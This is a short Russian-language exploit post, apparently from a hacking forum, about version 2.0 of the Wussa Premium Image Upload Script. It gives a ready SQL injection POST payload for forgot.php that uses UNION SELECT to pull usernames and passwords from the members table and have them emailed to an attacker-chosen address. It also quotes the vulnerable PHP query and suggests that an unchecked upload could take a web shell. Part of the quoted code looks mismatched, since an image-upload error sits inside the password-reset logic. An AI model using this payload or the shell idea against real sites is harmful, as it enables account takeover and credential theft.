Wussa Premium Image Upload Script Вервия: 2.0 Офф сайт: http://wussa.com/ Скачать: http://allskripts.ru/other_scripts/hosting/268-wussa-premium-image-upload-script.html Зависимость для всех скуль: magic_quotes = off
SQL-INJ Уязвимый скрипт: forgot.php POST Запрос: username=' UNION SELECT id,username,password,userpass,'asdasd@asdasd.ru',access from members -- -
Пароль придет на указанный email Уязвимый кусок кода:
PHP код:
if (isset($_POST["forgot"])) {
$username = htmlspecialchars(trim($_POST["username"]));
$email = htmlspecialchars(trim($_POST["email"]));
if (($username != "") || ($email != ""))
{
if ($username != "")
$q = "SELECT * FROM `members` WHERE username = '$username'";
else
$q = "SELECT * FROM `members` WHERE email = '$email'";
}
else
die("Sorry ! \"{$_FILES[$name]["name"]}\" is an invalid image.");
Файл не проверяет ресширение файлов, возможно можно залить шелл, правильно сформировав HTTP пакет, но мне лень было это проверять Файлы заливаются в pictures